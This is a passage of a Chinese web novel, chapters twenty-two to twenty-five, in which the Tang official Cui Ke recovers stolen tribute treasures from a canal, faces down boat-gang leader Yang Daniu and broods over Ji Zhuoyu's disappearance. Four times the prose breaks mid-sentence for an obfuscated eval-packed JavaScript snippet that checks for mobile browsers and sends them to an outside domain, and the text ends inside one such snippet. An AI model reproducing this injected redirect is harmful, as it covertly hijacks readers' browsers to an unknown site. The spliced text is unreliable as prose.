“呃啊。”杨大牛闷哼一声,整条手臂瞬间失去知觉。 巨大的冲击力让他噔噔噔连退三步,后背重重撞在腐朽的舱壁上,震得灰尘簌簌落下。 不过短短十招,杨大牛在这一带运河打遍天下无敌手,竟被眼前的这个小白脸压制得毫无还手之力。 杨大牛靠在舱壁上,大口喘着粗气,眼神惊骇又带着一丝颓然地看着几步外如同冰山般矗立的崔恪。雨水混着汗水从他额角流下。 “大牛哥!”季琢玉冲过去扶住他,声音带着哭腔,“别打了,你打不过他的,快走吧,东西……东西不要了!” 杨大牛看看季琢玉焦急的脸,又看看崔恪那冰冷得不似活人的眼神,知道事不可为。 他猛地一跺脚,腐朽的地板发出不堪重负的呻吟。 “好,好你个小白脸,今天老子认栽,别让老子再遇到你。”他咬牙切齿,充满不甘地吼道,“东西老子不要了,但你给老子记住,房州那些等着米下锅的嘴,都算在你头上!” 他一把推开季琢玉的搀扶,踉跄着就要冲向船舱外破开的洞口。 “玉兄弟!跟哥走,你跟这种人呆在一起能有啥好的,哥带你去房州,吃香的喝辣的。”他脚步一顿,突然转身,伸出那只完好的大手,就要去抓季琢玉的胳膊。 就在他粗糙的手指即将碰到季琢玉衣袖的刹那,一只冰冷、修长、骨节分明的手,更快、更狠、更不容置疑地攥住季琢玉纤细的手腕。 力道之大,几乎要将她的腕骨捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837731|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎。 季琢玉痛得“嘶”了一声,愕然抬头,望着崔恪的眼睛,那神情是她看不透的。 崔恪不知何时已站在她身侧,高大的身影将她完全笼罩。 他看都没看杨大牛,深不见底的黑眸只沉沉地盯着季琢玉,里面翻涌着压抑的怒意和一种近乎偏执的占有欲。 他薄唇紧抿,一个字没说,但那攥着她手腕的力量,比任何宣言都更清晰。 她,别想带走。 杨大牛抓了个空,看着崔恪那只死死攥住季琢玉的手,再看看季琢玉瞬间苍白吃痛的脸,只当季琢玉如今为这个小白脸做事,走不掉。 “你……!”他指着崔恪,气得浑身发抖,却终究不敢再上前。 如今朝廷之人都如此霸道了吗?这世道真是一天不如一天。 打不过崔恪,带不走“玉兄弟”,他依依不舍地看着季琢玉,终于说:“既然到了江南,我改日再寻你,定叫你摆脱这些朝廷的走狗。” 他的“玉兄弟”绝不是为那些贪官污吏做事的人,肯定是受到了这些人的威胁。 他这会儿一个人打不过崔恪,等他带着船帮的兄弟们来,定能打得他满地找牙。 “大牛哥,你误会了,我只是在帮崔大人查案,没想到生辰纲失窃,是你…….” 是你带人干的。 对季琢玉而言,算是大水冲了龙王庙,一家人不认一家人了, 让她抓杨大牛,这怎么可能,杨大牛可是她的义兄。 “这怎么可能,他一个大理寺少卿,什么能人找不到,要叫你在他身边帮着查案,你又不是仵作。” 杨大牛才不信崔恪留季琢玉在身边的目的是查案呢,说不准是什么别的坏心思。 他们这种朝廷大官,阴险着呢。 可玉兄弟身上有什么值得崔恪图谋的,他一时半会也说不出来。 甭管怎样,他就是看崔恪不顺眼,特别是崔恪想要将他捉拿归案,简直是痴心妄想。 能抓住他杨大牛的人,还没出生呢! 季琢玉为难地看着杨大牛,事实就是这样,他不信,她也不知道该说点什么旁的。 “滚。” 崔恪缓缓吐出一个字,冰冷刺骨,带着不容抗拒的威压。 杨大牛咬着牙,还想多看一眼季琢玉。 一朝结拜,“兄弟”情深,多年未见,没想到是这样的场景。 “大牛哥,你快走吧,我改日就去寻你。”季琢玉眼神示意他赶紧离开,再不走崔大人就要改主意了,叫人把他抓起来。 崔恪皱着的眉头更紧了,脸黑的吓人。 也不知道是那句话触怒了他。 杨大牛不甘心叹气一声,又瞪崔恪一眼,目光滑落到崔恪那只紧抓着季琢玉的手,他猛地转身,一头扎进船舱外翻腾的浊浪之中,身影瞬间被巨浪吞噬。 鬼船上的歌声骤然停下,船外的巨浪不再翻滚,天渐渐亮起来,一切都恢复了风平浪静。 季琢玉手腕剧痛,被崔恪攥得动弹不得。 她抬头看着他冰冷紧绷的侧脸,感觉到他身上散发出的,几乎要将人冻僵的寒意。 23. 第二十三章 回到官船上,季琢玉跟在崔大人身后,像个小鹌鹑,耷拉着脑袋,一句话也不说。 她理亏,崔恪放走杨大牛,她欠他一个好大的人情。 崔十九不知道两人在鬼船上发生了什么,他负责划小船,回来的路上,崔大人跟季姑娘也没说话,气氛怪怪的。 他指挥着官船上的护卫下水捞生辰纲,几只巨大的木箱被铁链缠绕着,湿漉漉地从浑浊的河底拖拽上来,沉重地砸在官船甲板上,发出沉闷的巨响。 水珠顺着箱体不断淌下,在甲板上汇成小洼。 镖头赵虎带着他那群惊魂未定的手下,看着失而复得的生辰纲,脸上挤出劫后余生的庆幸和一丝不易察觉的贪婪。 他搓着手,脸上堆起谄媚的笑,几步凑到崔恪跟前,深深作揖。 “崔大人,您真是青天大老爷啊,若非大人明察秋毫,识破水鬼……啊不,识破奸人伎俩,追回这生辰纲,小的们百死莫赎,大人您就是小的再生父母,控鹤府来大人那里,小的定当……” 他滔滔不绝的马屁被一声冰冷的轻哼打断。 他还想着在来大人面前替崔恪说好话,殊不知朝堂之上,崔恪多次不给来大人面子,光是提到崔恪这两个字就能让来大人火冒三丈。 崔恪压根没正眼瞧他,他站在一只被撬开箱盖的木箱旁,雨水顺着他冷硬的下颌滴落,砸在箱内熠熠生辉的金锭和玉器上。 随手拿起一件巴掌大的玉璧,玉质温润如脂,天光下流淌着内敛的光华。 另一只手则拈起一卷古旧的画卷轴头,指腹抚过那泛黄绢帛上细腻的笔触和古老的印鉴。 赵虎的马屁戛然而止,脸上的笑容僵住,有些不明所以地看着崔恪的动作。 崔恪的目光在玉璧的蟠螭纹饰和画卷落款的古篆上停留片刻,眼神如同结了冰的深潭。 他随手将玉璧丢回箱中,发出清脆的撞击声,又将画卷轻轻放回。 动作随意,却带着一种令人心悸的漠然。 慢慢转过身,冰冷的目光落在了赵虎那张谄媚又带着茫然的脸上。 “谢?”崔恪的声音不高,却清晰地穿透甲板上残留的雨气和窃窃私语,带着一种刺骨的嘲讽,“本官追赃缉凶,乃是奉旨行事,职责所在,何需你来谢?” 赵虎被他看得头皮发麻,冷汗瞬间冒了出来,脸上的笑比哭还难看:“是是是,大人说的是,大人秉公执法……” “秉公?”崔恪嘴角勾起一丝极淡、极冷的弧度,打断了他,“赵镖头,你押送的真是控鹤府来大人的生辰纲?” 他抬手,指向箱内那些在阳光下更显夺目的珍宝,声音陡然拔高,带着金石般的冷硬和不容置疑的权威。 “此玉璧,前隋宫廷旧物,这画卷,乃前朝顾恺之真迹,上有太宗皇帝御览之宝,还有那几件青铜礼器,纹饰规制,非亲王不能用,这些,都是登记在册、本该封存于大内府库的前朝皇室遗珍,何时成了他控鹤府来大人的私产生辰纲?” 每一个字都如同冰雹砸在甲板上。 赵虎和他身后那群镖师,瞬间面无人色,如同被抽掉了骨头,有几个腿一软,直接瘫坐在湿漉漉的甲板上。 赵虎更是抖如筛糠,嘴唇哆嗦着,赶紧解释道:“大人,小的们只负责押送,旁的一概不知,这些宝物岂是我等草民能知晓的。” 这些箱子里东西的来历,他岂能不知?只是没想到这位大理寺少卿连来大人的面子也不给,当着众人的面说出这番话。 崔恪冰冷的目光扫过这群面如死灰的人,可笑,他们运送生辰纲,会不知道箱子里是什么。 “按《永徽律疏》,私藏、转运前朝皇室禁物,形同谋逆,此等重器,岂容尔等私相授受,更遑论作为生辰贺礼,送入私宅!” 他微微一顿,那冰冷的视线最后钉在赵虎惨白的脸上。 “本官即刻上奏天后,具陈此案始末,并将这些禁物原封不动押解回京上交朝廷,至于你,” 他顿了顿,冷冰冰的声音。 “带着你的空箱子,滚回去交差。控鹤府来大人若对此处置有异议,让他亲自上朝,当着陛下的面,跟本官理论。” 说完,他再不看赵虎等人一眼,仿佛只是处理了一件再平常不过的案子。 此案并不会因为牵扯朝廷大官而有什么不同。 他转身,大步走向船舷边。 季琢玉一直站在不远处,靠着湿冷的船舷柱子,默默看着这一切。 她看着崔恪三言两语,搬出律法,将那些烫手的“生辰纲”名正言顺地截下,心底说不出是什么滋味。 身为大理寺少卿,混迹官场多年,他怎会不知道截下生辰纲,会惹怒来大人,他似乎不像是秦姨口中说的那般不堪。 官,也有好官,等她回到长安城,她一定要把此事告诉秦姨。 生辰纲虽然不能救济百姓,但至少这些东西,不会落到那姓来的狗官手里了。 崔恪走到她面前停下,低头看她,她脸色依旧苍白,发梢还滴着水,单薄的靛青袍子湿漉漉地贴在身上,勾勒出纤细的轮廓。 手腕处被他攥出的红痕尚未消退,在她纤细白皙的肌肤上很是明显。 他沉默地看着她,墨色黑眸翻涌着复杂难辨的情绪,有未散的戾气,有审视,似乎还有一丝……担忧? 季琢玉被他看得有些不自在,下意识地挪了挪脚,想离那冰冷的船舷远一点,脚下湿滑的甲板却让她身体微微一晃。 修长、骨节分明的手迅速伸了过来,稳稳地扶住了她的胳膊肘。 他的手掌隔着湿透的衣料,传来滚烫的温度,季琢玉身体一僵,愕然抬头看他。 崔恪却已经移开了目光,仿佛只是随手为之。 他侧身,高大的身影替她挡住了侧面吹来的带着河水腥气的冷风。 声音低沉响起,带着沙哑,却不再是刚才面对赵虎时的冰寒冷硬,反而像是在安慰。 “前面就是江南道,下船后,我会让崔十九先送你去客栈。” 顿了一瞬,就在季琢玉以为他说完了的时候,他又低低地补充一句。 “在我去找你之前,哪儿都不许去。” “为何?”江南道又不是穷凶极恶之地,为什么不许她单独出去,季琢玉想不明白。 她还答应了大牛哥,会去找他呢。 崔恪答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841901|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非所问:“这次南下办案,每日补贴一百五十文。” 季琢玉立马站直身子,点头说:“大人您放心,我肯定哪儿都不去,乖乖在客栈等您回来,咱们一道去查案。” 一百五十文,比上次还多了五十文。 甲板上,赵虎等人如蒙大赦拖着空箱子仓惶离开,船夫们开始清理甲板。 崔恪的手还稳稳地扶着季琢玉的臂弯,没有松开的意思。 “大人,您能松开我了…” 她站稳了,船也不晃了。 崔恪收回手,转身快步走进船舱内,季琢玉望着他的背影,神色复杂,她想起在水底时脑海里一闪而过的画面。 花树下的少年郎与崔大人有几分相似,若是再长大些,估计也会像崔大人这般正气凛然。 可惜不是。 崔十九找到自家大人的时候,大人正襟危坐在桌前,面前摆着书,手里拿着一个簪子,心不在焉。 “大人。”崔十九喊到第三声的时候,他才抬头。 “事情办妥了?” “回大人的话,生辰纲一共十箱,全部记录在册,等船靠岸,护卫便将生辰纲押送回长安。”崔十九停顿下来,压低声音又说:“还有两箱,按照大人的意思,不做记录,属下亲眼看到杨少帮主带人潜入河底取走,他们只当大人未发现。” “嗯,退下吧。”崔恪摆了摆手,眼睛不离手中的银簪子。 崔十九悄声离开舱房,他退到走廊上,摇摇头,心想,大人果然是心有所属,也不知道是那家小姐,怎么从未见她来找过大人。 自家大人的心上人神秘的很,像是天上的仙女,来无影去无踪,唯有大人的相思之情有迹可循。 在这世上,也就崔十七见过大人爱慕的女子,可惜,十七……已经不在了。 江南的码头,远比长安西市喧嚣。 清澈的运河水拍打着石砌的堤岸,岸边种满鲜绿的柳树,空气里弥漫着鱼腥、桐油和青草的复杂气味。 大大小小的漕船、客船、货船挤满了河湾,船帆如林,号子声、叫卖声、货物落地的闷响混成一片嘈杂的背景。 崔恪一行人刚踏上跳板,踏上湿漉漉的青石板码头。 “让开,都让开,杨家船帮办事,都长点眼。”粗豪的吆喝声在不远处炸响。 一艘中型货船旁,一群精壮汉子正喊着号子,肩扛手抬,将沉重的麻袋和木箱流水般运上甲板。 领头指挥的汉子,一身簇新的靛青绸缎短褂,腰扎牛皮板带,蹬着千层底快靴,头发梳得油光水滑,束在脑后。 身形魁梧,码头苦力的粗粝气被这身行头盖住了大半,取而代之的是一种江湖豪强的利落和隐隐的威势。 他正叉着腰,对着一个搬货慢了些的汉子吆喝。 “磨蹭什么呢,没吃饭啊,这船申时三刻前必须装满发走,耽误了扬州分舵的货,老子扒了你的皮。” 汉子吓得一哆嗦,赶紧加快了脚步。 季琢玉几乎不敢相信自己的眼睛,脱口而出:“大牛哥?!” 这声清脆的呼唤打破了码头的喧嚣,周围瞬间安静了,所有人都寻声看了过去。 24. 第二十四章 杨大牛回头,目光扫过人群,瞬间锁定了那个穿着靛青圆领袍、头发随意挽着木簪的身影。 他脸上的凶悍不耐瞬间消散,嘴角笑起来几乎咧到耳后。 “玉——兄——弟——!!!”嗓门洪亮得如同炸雷,引得附近所有人都侧目。 他完全无视了季琢玉身边那一身墨蓝官服、气势冷冽的崔恪,也忽略了崔恪身后按着刀柄,脸色难看的崔十九。 飞奔起来,直直地冲向季琢玉,带起的风几乎掀翻了旁边一个小贩的箩筐。 “哈哈哈!真是你!我就知道你小子说话算数,果真来寻我了!” 杨大牛冲到季琢玉面前,大手带着不容拒绝的热情,重重拍在她肩膀上,拍得她一个趔趄。 “好,好,太好了,走,跟哥回家,到了江南地界,有大哥罩着你,必须好好给你接风洗尘,走走走!” 他一边豪气干云地说着,一边极其自然地伸手就去揽季琢玉的肩膀,要把人往自己货船的方向带。 经过货船旁,更是高兴地吆喝一声:“今日我得见义弟,兄弟们搬完这些货全部去吃酒,我请客。” 欢呼声此起彼伏,码头上一时间热闹非凡。 “放肆!”一声压抑着怒火的低喝在季琢玉身侧响起。 崔十九一步跨前,脸色铁青,手已经按在了刀柄上,怒视着杨大牛:“大胆!我家大人面前,岂容你如此无礼!还不退下!” 杨大牛揽着季琢玉肩膀的手一顿,这才像是刚发现旁边还有一尊“大佛”。 他斜睨了一眼满面怒容的崔十九,又扫了扫崔恪那张冰冷、看不出丝毫情绪的冷脸,鼻子里重重哼了一声。 “嘁!哪来的狗腿子在这儿乱吠?” 他满脸不屑,压根没把崔十九放在眼里,目光落在崔恪身上,带着毫不掩饰的挑衅和鄙夷。 “大人?您管天管地,管得着老子请自家兄弟回家吃饭?玉兄弟,甭理他们,走!” 说着,他揽着季琢玉肩膀的手更用力了几分,几乎是要把她整个人从崔恪身边强行拽走。 季琢玉被他拽得半边身子都歪了,手腕上之前被崔恪攥出的红痕似乎又开始隐隐作痛。 她尴尬地挣扎了一下:“大牛哥,别……” “少帮主。”冰冷低沉的声音,带着巨大的震慑力,与生俱来的高官气场,让两人停下脚步。 崔恪终于开口了。 他站在原地,墨蓝色的官袍在湿润的江风中纹丝不动。 没有看杨大牛,晦暗不明的目光沉沉地锁在季琢玉被杨大牛紧紧揽住的肩膀上,他在看季琢玉的脸色。 “少帮主盛情,心领了。”他的声音没有一丝波澜,却带着一种无形的气势,“季公子此行目的在协助本官办案,职责在身,怕是不方便与你一同吃酒。” “办案?”杨大牛像是听到了天大的笑话,浓眉一挑,嗓门更大了,“屁的案子!玉兄弟又不是你们衙门的人!” 季琢玉拽拽他的袖子,小声嘀咕:“每日有一百五十文的办案补贴。” 杨大牛瞪大眼睛,百文补贴,闻所未闻。 他只知道江南道的官差办案每日有十五文的茶水补贴,不晓得长安城的官差竟有钱到这种程度。 光是每日的补贴,就比码头上这些苦力全部加起来赚的多。 “反正!老子不管你有什么案子要办!玉兄弟到了老子的地头上,我们兄弟二人就得好好一聚,这酒迟早要喝,饭也迟早要吃。” 他这话说得极其嚣张,周围不少船工和商贩都偷偷看过来,眼神各异。 崔恪的眼神终于从季琢玉的肩膀移开,缓缓落在了杨大牛那张因激动的方脸上。 目光平静无波,却像万载寒冰,透着一股漠然和一种居高临下的审视。 兄弟二人… “你的地盘?”崔恪薄唇微启,声音轻得像叹息,却清晰地传入每个人耳中,“普天之下,莫非王土,此处是你的地盘?” 他微微一顿,目光扫过杨大牛身后那艘挂着“杨”字旗的货船,以及船上那些因冲突而停下手中活计、惊疑不定望过来的船帮汉子们,最后又落回杨大牛脸上。 “少帮主若执意阻挠公务,妨碍本官查案……”他没有说下去,但那未尽的威胁,比任何言语都更具压迫感。 季琢玉感觉到周围的空气仿佛都凝滞了。 杨大牛被他看得心头一凛,那股子蛮横的气焰像是被戳破的气球,泄了一丝。 民不与官斗,杨家船帮几百号人,他身为少帮主,不能不顾及兄弟们的性命。 他揽着季琢玉肩膀的手,不自觉地松了些力道,缓缓将手放下。 季琢玉趁机用力挣脱了杨大牛的臂膀,往崔恪身边挪了半步,低声道:“大牛哥,崔大人说的是,我……我确实有公务在身。你的好意我心领了,等……等办完事,我再去寻你。” 杨大牛看着季琢玉躲到崔恪身边的动作,又看看崔恪那副冰山般护食的姿态,再看看崔十九那几乎要喷火的眼神,一股邪火和憋屈堵在胸口。 他狠狠瞪了崔恪一眼,从鼻孔里喷出两道粗气。 “行,好兄弟,你……你跟他走吧。”他指着崔恪,咬牙切齿,“但记住大哥的话,在这江南地界,有事就报我杨大牛的名字,哥罩着你。要是有人敢欺负你……” 他意有所指地剜了崔恪一眼,“哥跟他没完!” 说完,他猛地一甩袖子,像头被激怒的公牛,气冲冲地转身,对着那群看呆的手下怒吼:“看什么看,干活去,都他妈给老子麻利点!” 吼声在码头上空回荡,带着浓浓的不甘和憋闷。 崔恪不再看他,与他而言,杨大牛的一言一行不过是无关紧要的闹剧。 他微微侧头,目光落在身侧季琢玉略显苍白的侧脸上,声音低沉,听不出情绪:“走了。” 他率先转身,季琢玉快步跟上。 崔十九摸摸后脑,疑惑地看向杨大牛,此人野蛮又蠢笨,怎得一口一个玉兄弟喊着季姑娘。 方才两人勾肩搭背,崔大人的脸色甭提多难看了。 崔大人之心,天地可鉴,偏偏季姑娘不见。 他虽心里有旁的想法,可如今知晓了大人的心意,他只能将心中的想法压下去,季姑娘不是他能相配的…… 江南道府衙的人早早等在外面,候着长安来的大官。 为首的江南道陆长史头伸出二里地,年约五旬,穿着青色圆领官袍,双手不停地摆正头上的乌纱帽,生怕自己哪儿不得体。 站在他身后的是本地司马,还有参军,最后是府衙的老吏。 “哎哟,这位就是崔大人吧,下官老远瞧见,便觉得金光闪闪,恍如神人现世,今日得见崔大人,下官死而无憾了。” 陆长史脸上堆着笑容,深深作揖,腰弯得几乎要遮断。 “久闻少卿断案如神,明察秋毫,今日得见真颜,果然龙章凤姿,气度非凡,实乃我大唐之柱石,社稷之栋梁啊!” 奉承的话,随口酒说出口。 眼前这位崔大人,可是长安城来的大官,太子太傅亲孙子,年轻有为,前途无量,他心里想着如何巴结一番,好早日升官,也到长安城去瞧瞧。 他身后半步,站着一位身形干瘦、留着山羊胡的绯袍官员,乃是本地司马周文清。 他脸上也挤出笑容,附和道:“陆长史所言极是,崔少卿少年英才,威震长安,能莅临我江南道,实乃本地百姓之福,下官等之幸啊。” 语气虽不如陆孟德夸张,却也满是逢迎。 崔恪面色不改,如若未闻,淡淡道:“陆大人,你与我父亲是同窗,我该称呼您一声陆伯父。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852170|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大人真是折煞下官了,下官怎担得起这声伯父。”陆长史说着谦卑的话,脸上却十分有光,腰板也挺直了不少。 这句伯父,好像让他跟周围的人都不一样了,身份变得更加高贵。 季琢玉深呼一口气,尴尬地不知道该如何是好,这边陆长史和周司马已经看向了她。 “这位相貌堂堂的郎君就是季公子吧,听闻季公子在长安城助崔大人破获使臣一案,真是英雄出少年啊。” 都说坏事传千里,好事不出门,她的这件“好事”怎么传的这么远,短短几天的功夫连江南地方官吏都知道了。 若非是特意打听,怕不会知晓的如此迅速。 这群人做足了功课,功夫都用在奉承长官身上,又怎会有心思去查什么少女失踪案。 季琢玉笑着点点头,当之有愧的谦虚起来:“陆长史言重了,助崔大人查案,我不过就是给大人端茶倒水,听大人差遣,做的都是小事,谈不上什么英雄。” “诶,那也是季公子茶泡的好,水端的好,不然崔大人也不会如此重用您啊。” 陆长史捋顺胡须,眼睛笑成一条弯弯的线,他一早差人打听过了,这位季公子没什么来头,家里是卖胡饼的,他也就是运气好,才被崔少卿看重,留在身边。 陆长史虽然心里瞧不上季琢玉,却做足了表面功夫,给足了他面子。 甚至就连在两人身后的崔十九,都被陆长史夸赞大侠风范,绝非凡夫俗子。 最边上一位穿着深青色官袍、面色沉静、眼神锐利的年轻官员,就是参军赵怀安。 他仅仅对着崔恪抱拳一礼,声音平稳无波:“下官赵怀安,见过崔少卿。” 便再无多余言语,沉默地站在一旁,双臂抱在身前,携带一把宝剑。 季琢玉多看了他两眼,赵参谋在崔恪面前,一点献媚的姿态也没有,神色严肃,不苟言笑。 倒是跟陆长史,周司马截然不同。 崔恪神色淡漠,只微微颔首,算是回礼。 墨蓝官袍衬得身姿愈发挺拔孤峭,与这满庭的阿谀奉承格格不入。 季琢玉跟在他身侧稍后,眼观鼻鼻观心,心里对那些夸张的吹捧直翻白眼。 陆孟德丝毫不觉冷场,依旧热情似火,引着三人穿过庭院,口中滔滔不绝:“少卿一路舟车劳顿,辛苦了,下官已备好清静上房,略备薄酒,为少卿接风洗尘,这江南道虽比不上长安繁华,但胜在……” “陆长史。”崔恪终于开口,声音平静无波,却带着一种天然的威压,打断陆长史的喋喋不休,“卷宗。” 陆明德脸上的笑容僵了一瞬,随即拍着额头,恍然道:“是是是,下官糊涂,少卿心系公务,下官惭愧。卷宗早已备齐,就在签押房,这就引少卿过去,这就去!” 他忙不迭地侧身引路,扭头为难地看看季琢玉和崔十九,又说。 “大人,只是,江南不比长安城,签押房狭小,这么多人一同进去怕是连个转身的余地也没有了。” 崔恪转身看一眼季琢玉,沉声道:“你先去客房。” 一个穿着洗得发白的青布吏服、须发皆白、面容和善的老吏上前一步,躬身道:“季公子,崔护卫,二位请随老朽到客房歇息。” 季琢玉点头,乖巧地跟着老吏离开。 她不安地看着崔恪独自跟着长史离开,直到背影消失在拱形门处,她收回目光,一抬头,对视上崔十九的目光。 崔十九盯着她,眉头紧锁。 季姑娘方才看大人离去的神情,像是看心上人,几分担忧,几分不舍.......她自己没发觉吗? 有句话,他不知道当讲不当讲,崔大人早已跟人私定终身,就算她与大人有情,大人也不会娶她当正妻。 甚至连妾都不行,崔家人有规矩,不纳妾不休妻,只续弦。 25. 第二十五章 客房清雅整洁,推开雕花木窗,可见庭院一角翠竹摇曳。 老吏手脚麻利地点燃了驱潮的沉香,又奉上刚焙好的新茶和几碟精致的茶点,其中一碟便是江南的特色茶点荷花酥,层层酥皮、色泽诱人。 “两位官人好生歇息。” 说完便恭敬地退下了。 崔十九将行囊安置好,便准备去门外值守,他记得大人叮嘱过,要他寸步不离季姑娘。 “季姑娘,不如与我一同去外面等大人回来。” 季琢玉眼珠一转,捂着肚子,秀气的眉头蹙起,对着崔十九小声道:“崔护卫,初到江南,我……我好像有点水土不服,肚子不太舒服,想在房里歇会儿,就不去前头添乱了。” 崔十九见她脸色确实有些发白,不疑有他,点头道:“那姑娘好生歇息,有事唤我。” 说完便退出了房间,轻轻带上了门。 听到脚步声远去,季琢玉立刻从床上弹起来,哪还有半分不适的样子。 她飞快地凑到窗边,透过窗棂缝隙,确认崔十九已经走远。 她迅速换上一身更不起眼的灰布短打,将头发重新利落地束好,如同一只矫健的狸猫,悄无声息地溜出房门,熟门熟路地避开庭院里的视线,朝着府衙最僻静的西侧角门摸去。 她心里盘算着,大牛哥在码头势力不小,消息灵通,找他打听江南道少女失踪的线索,肯定比在这听陆长史拍马屁强。 就在季琢玉的身影如同影子般消失在角门外的瞬间,庭院里,那株枝叶繁茂的古柏后,崔十九的身影缓缓转了出来。 他眉头紧锁,目光锐利,死死盯着那扇还在微微晃动的角门木扉。 他出门落了东西在屋里,折返回来就正好撞见季姑娘鬼鬼祟祟溜向后门。 他略一踌躇,转身,快步朝着签押房的方向走去。 签押房内,一缕缕檀香徐徐升起。 崔恪端坐在宽大的书案后,面前堆满了厚厚的卷宗。 修长的手指快速而沉稳地翻动着泛黄的纸页,发出沙沙的轻响。 陆孟德垂手侍立在一旁,脸上堆着笑,大气不敢出。 都是些陈年旧案,有破获的,也有没破获的,崔少卿看过少女失踪案的案卷又要翻这些陈年旧案,他想不出有何关联。 “少卿大人。”崔十九在门外沉声禀报,声音带着一丝不易察觉的紧绷。 “进。”崔恪头也未抬。 崔十九推门而入,目光飞快地扫了一眼陆孟德,走到崔恪身侧,压低声音,用只有两人能听到的音量,如实回禀:“大人,季姑娘方才……称身体不适在房内歇息,属下……属下看到她从西角门出去了。” 翻动卷宗的手指,几不可查地顿了一下。 空气仿佛凝固了一瞬。 崔恪缓缓抬起眼,深不见底的寒眸没有任何波澜,只淡淡地扫过崔十九的脸。 没有质问,没有惊讶,甚至没有一丝不悦的情绪表露出来。 他重新垂下眼帘,目光落回手中的卷宗上,仿佛刚才听到的只是一件微不足道的小事。 翻动纸页的声音再次响起,依旧沉稳,依旧规律。 “知道了。”平静无波的三个字,如同投入深潭的石子,连一丝涟漪都未曾惊起。 崔十九心头一凛,不敢再多言,垂手退到一旁。 天色渐暗,隔着墙外面打更的声音清晰入耳。 崔恪翻阅手中的案卷,墨字在眼前浮游,却一个字也钻不进脑子。 “大人,”崔十九的声音在死寂里格外清晰,带着压不住的急,“已经亥时三刻了,季姑娘……还没回来。” 崔恪捏着卷宗页角的指腹,几不可查地收紧了一下,薄薄的纸页被掐出细微的褶皱。 他没抬头,喉结却无声地滑动了一下,只从鼻腔里挤出一个冰冷的单音:“嗯。” 笔尖重新蘸墨,悬在纸上,一滴浓墨不堪重负,“啪嗒”落在雪白的宣纸上,迅速晕开一团刺眼的乌黑,污了刚写两行的案情摘要。 他盯着纸上的墨团,眉头都没动,仿佛没看见。 提笔想接着写,笔尖却悬在半空,迟迟落不下去。 墨汁顺着狼毫尖,慢慢凝聚,拉长,最终滴落,在纸上砸出第二滩墨迹。 崔十九看得分明,自家大人那握笔的手,指节绷得死白,手背上淡青的血管微微凸起。 他屏住呼吸,不敢再催大人去找人。 崔十九立在阴影里,看着自家大人第三次拿起同一页卷宗,指尖停在某个墨点上,半晌没动。那墨点都快被盯穿了。 “大人,”崔十九的声音压得低,带着试探,“更深露重,码头那边龙蛇混杂……要不,属下去寻寻季姑娘?她一个姑娘家……” “不必。”崔恪的声音立刻切了进来,又冷又硬,像块冻透的石头。 他甚至没抬眼,目光死死焊在卷宗上,“她自有分寸。” 话是撂下了,可捏着纸页的指头骨节绷得更白了,薄薄的宣纸边缘被掐出了细密的折痕,微微颤抖着。 崔十九闭了嘴,心里却跟明镜似的。 分寸?季姑娘有没有分寸他不知道,但杨少帮主跟“分寸”俩字沾边吗?他可是个没分寸的人。 他不知道季姑娘女儿身的事情,万一做出什么不合规矩的事情…… 崔十九不敢继续往下想。 屋里死寂,只有烛芯燃烧的细微噼啪声。 崔恪像是跟那卷宗较上了劲,猛地提笔,蘸饱了墨,悬腕就要落字。 笔尖抖得厉害,一滴浓墨不堪重负,“啪嗒”砸在刚写的“漕运”二字上,迅速晕开一团刺眼的污迹。 他动作顿住,盯着那团墨污,下颌线绷得如同拉满的弓弦,喉结极其艰难地滚动了一下。 就在这时,他手边那盏喝了一半的冷茶,杯壁上凝着的水珠悄无声息地滑落,“嗒”一声轻响,正滴在他握着茶杯的虎口上。 冰凉的触感激得他手腕猛地一颤,眉头皱缩。 “哐当——”青瓷茶杯脱手,重重砸在坚硬的青砖地上。 碎瓷片摔地满地,滚烫的残茶溅得到处都是,有几滴茶水溅到了崔恪墨蓝色的官袍下摆。 他一甩手,将官袍下摆拍开,适得其反,官袍上的茶渍湿开的更明显了。 越是在意的,越是不顺心意。 签押房里死一样的寂静被这刺耳的碎裂声彻底打破,崔十九赶紧收拾地上的残局,边说:“大人,我让他们再换壶茶水来。” 崔恪僵在原地,维持着那个握杯的姿势,手指还微微蜷着。 盯着地上那滩狼藉的碎瓷和茶渍,脸色在摇曳的烛光下,白得有些瘆人。 深潭似的眼底有什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 